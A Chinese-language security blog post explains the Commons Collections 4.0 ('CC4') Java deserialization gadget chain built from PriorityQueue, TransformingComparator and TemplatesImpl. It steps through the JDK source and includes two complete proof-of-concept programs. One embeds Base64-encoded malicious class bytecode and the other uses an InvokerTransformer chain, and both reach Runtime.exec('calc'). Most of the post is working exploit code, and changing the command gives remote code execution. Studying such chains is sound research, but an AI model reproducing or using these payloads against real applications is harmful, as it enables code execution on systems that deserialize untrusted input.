持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第9天,点击查看活动详情
之前分析的CC链都是基于CommonsCollections3.2.1及其之前版本的,而后边退出了新的版本org.apache.commons.collections4,而本篇分析的CC4就是基于CC 4.0版本的(除此外还有CC2)
流程
本条链的前半段其实跟CC3一样,都是一个动态加载字节码的过程,而后边构造时,主要用到了两个类PriorityQueue和TransformingComparator
这里ysoseria并没有给出Gadget chain,所以仿照ysoseria总结了一下:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InstantiaterTransformer.transform()
TrAXFilter.TrAXfilter
Method.invoke()
Runtime.exec()
PriorityQueue
先看下PriorityQueue
PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
本篇主要用的到方法,add(E e):将指定的元素插入此优先级队列
测试代码:
package CommonsCollections4;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue=new PriorityQueue(2);
priorityQueue.add(4);
priorityQueue.add(3);
priorityQueue.add(2);
priorityQueue.add(1); //add()添加指定元素到队列
System.out.println(priorityQueue);
System.out.println(priorityQueue.poll()); //poll获取队列的头
}
}
之所以用它,是因为它重写了自己的readObject()方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
最后调用了heapify()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
接着调用siftDown()
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
当comparator不为null时调用siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
最后调用comparator.compare(),而comparator在本类的构造方法中可控,所以关键就在于调用谁的compare()了
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
TransformingComparator
在该类中发现compare(),并且调用transform()方法,后边的就跟之前都一样了
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这个类其实在CC 3.2.1版本是无法使用的,因为从4.0开始它才继承了Serializable接口
//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
分析
TemplatesImpl
前边跟之前CC3的都一样
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}
在执行compare()时,它执行的是this.transformer的transform()方法
final O value1 = this.transformer.transform(obj1);
所以就需要构造一下this.transformer=chainedTransformer,构造:
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
而PriorityQueue中需要调用comparator.compare(),所以就需要通过控制器构造comparator=TransformingComparator
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
之后经反序列化后未执行成功,主要有两个原因
一、这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
java中有三种移位运算符
<< : 左移运算符,num << 1,相当于num乘以2
: 右移运算符,num >> 1,相当于num除以2
: 无符号右移,忽略符号位,空位都以0补齐
所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值
priorityQueue.add(1);
priorityQueue.add(2);
二、
在通过add添加后,还是无法正常运行,原因在于:
public boolean add(E e) {
return offer(e);
}
在add()中会调用offer()
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
而在offer()中调用了siftUp(),接着就一串siftUpUsingComparator()->siftUpUsingComparator()->compare()......,
就在序列化时执行了,而我的并没有执行,因为少了这里:
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
之前CC3中最后把它去掉了,因为在执行readObjet()时,会默认初始化,但在这里想通过序列化就触发的话,就需要加上这条。
接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator的值修改为一个没用的值,绕过调用
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
之后再在add()方法执行结束后,通过反射将transformingComparator修改回来
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
最后POC
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(0);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
Transformer
其实用Transformer链也行,参考一下即可
package CommonsCollections4;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(0);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}